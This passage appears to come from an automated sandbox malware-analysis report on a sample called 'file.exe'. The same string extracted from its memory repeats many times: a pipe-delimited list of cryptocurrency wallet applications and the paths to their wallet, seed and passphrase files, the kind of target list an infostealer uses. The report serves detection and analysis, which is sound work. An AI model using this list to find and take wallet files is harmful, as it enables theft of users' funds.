(old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1833532825.0000000001AF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1833532825.0000000001AF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1833532825.0000000001AF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1833532825.0000000001AF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1833532825.0000000001AF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1833532825.0000000001AF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1833532825.0000000001AF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1833532825.0000000001AF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1833532825.0000000001AF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1833532825.0000000001AF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1833532825.0000000001AF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local 